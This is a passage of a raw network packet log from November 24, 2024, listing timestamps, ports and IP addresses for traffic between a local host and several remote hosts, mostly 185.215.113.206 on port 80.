Nov 24, 2024 23:24:32.442640066 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.446027040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.446058989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.446083069 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.446105957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.449517965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.449569941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.449572086 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.449618101 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.450033903 CET	49803	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:32.471893072 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.471967936 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.471976042 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.474037886 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.474087000 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.474095106 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.478030920 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.478080034 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.478086948 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.482029915 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.482137918 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.482145071 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.498511076 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.498572111 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.498581886 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.504149914 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.504201889 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.504209042 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.505563021 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.505686045 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.505693913 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.515969038 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.516037941 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.516043901 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.521754026 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.521800041 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.521807909 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.531766891 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.531840086 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.531847954 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.547292948 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.547357082 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.547364950 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.557234049 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.557518005 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.557526112 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.568603992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.568645954 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.568689108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.568754911 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.568762064 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.568764925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.568808079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.570038080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.570100069 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.570178986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.570229053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.570286989 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.570432901 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.570439100 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.572721958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.572897911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.572976112 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.575392962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.575575113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.575661898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.577222109 CET	443	49783	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:32.578171015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.578228951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.578334093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.578397989 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.580576897 CET	443	49783	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:32.580648899 CET	49783	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:32.580682039 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.580766916 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.580848932 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.580893040 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.581760883 CET	49783	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:32.581779003 CET	443	49783	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:32.581792116 CET	49783	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:32.581798077 CET	443	49783	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:32.583467960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.583533049 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.583630085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.583674908 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.586087942 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.586177111 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.586272001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.586370945 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.588700056 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.588716030 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.588762999 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.593723059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.593740940 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.593781948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.593790054 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.594180107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.594197035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.594247103 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.594261885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.596645117 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.596755028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.596791029 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.596910954 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.599416018 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.599431992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.599466085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.599476099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.601506948 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.601562977 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.601569891 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.602085114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.602102995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.602137089 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.602154970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.603290081 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.604679108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.604695082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.604754925 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.604754925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.604763985 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.605645895 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.606223106 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.606230021 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.607346058 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.607398987 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.607517004 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.607609034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.608871937 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.608916998 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.608925104 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.610004902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.610019922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.610057116 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.610079050 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.612658978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.612674952 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.612832069 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.615344048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.615466118 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.615499020 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.615557909 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.617811918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.617886066 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.617965937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.618011951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.619147062 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.620517969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.620579958 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.620579958 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.620588064 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.620771885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.621474028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.622679949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.622720003 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.622785091 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.622811079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.622840881 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.622848034 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.622858047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.625348091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.625464916 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.625505924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.625550032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.628007889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.628118992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.628132105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.628230095 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.630641937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.630701065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.630743027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.630759954 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.631985903 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.633052111 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.633059978 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.633306026 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.633364916 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.633429050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.633476019 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.635943890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.635997057 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.636043072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.636089087 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.638619900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.638684034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.638849974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.639600992 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.641196966 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.641206026 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.641290903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.641307116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.641357899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.643914938 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.643964052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.643968105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.644021034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.646647930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.646663904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.646702051 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.646728039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.646747112 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.646846056 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.646853924 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.649235964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.649295092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.649317980 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.649472952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.651911974 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.651998997 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.652040005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.652080059 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.654572964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.654694080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.654798031 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.656299114 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.656352997 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.656358004 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.656372070 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.656409979 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.657231092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.657309055 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.657340050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.657378912 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.657856941 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.659876108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.660007000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.660011053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.660157919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.662554026 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.662648916 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.662662983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.662727118 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.662878036 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.662924051 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.662925005 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.662934065 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.662991047 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.664053917 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.664169073 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.664217949 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.664278030 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.665203094 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.665254116 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.665357113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.665488958 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.667880058 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.667905092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.667959929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.667987108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.670543909 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.670597076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.670625925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.670711040 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.701630116 CET	443	49801	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:32.701713085 CET	443	49801	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:32.701809883 CET	49801	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:32.702044010 CET	49801	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:32.702065945 CET	443	49801	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:32.752732038 CET	443	49803	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:32.752880096 CET	443	49803	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:32.752959967 CET	49803	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:32.753402948 CET	49803	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:32.753420115 CET	443	49803	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:32.767983913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.768282890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.768363953 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.769139051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.769200087 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.769285917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.769340992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.771385908 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.771403074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.771488905 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.771501064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.773479939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.773550987 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.773711920 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.773756981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.775674105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.775732994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.775764942 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.775782108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.777909040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.777977943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.778012991 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.778141022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.780009985 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.780091047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.780108929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.780150890 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.782172918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.782233953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.782241106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.782449961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.784229994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.784248114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.784307003 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.784339905 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.785784960 CET	443	49802	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:32.785871029 CET	443	49802	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:32.785940886 CET	49802	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:32.786154985 CET	49802	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:32.786163092 CET	443	49802	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:32.786464930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.786484957 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.786588907 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.788292885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.788362980 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.788418055 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.790383101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.790486097 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.790544033 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.792306900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.792388916 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.792423010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.792468071 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.794262886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.794331074 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.794364929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.794404030 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.796200991 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.796302080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.796397924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.796531916 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.798140049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.798218012 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.798218012 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.798353910 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.800097942 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.800139904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.800179005 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.800194979 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.802002907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.802081108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.802112103 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:32.802141905 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:32.802194118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.802201986 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:32.802278042 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:32.802287102 CET	49760	80	192.168.2.5	185.215.113.206
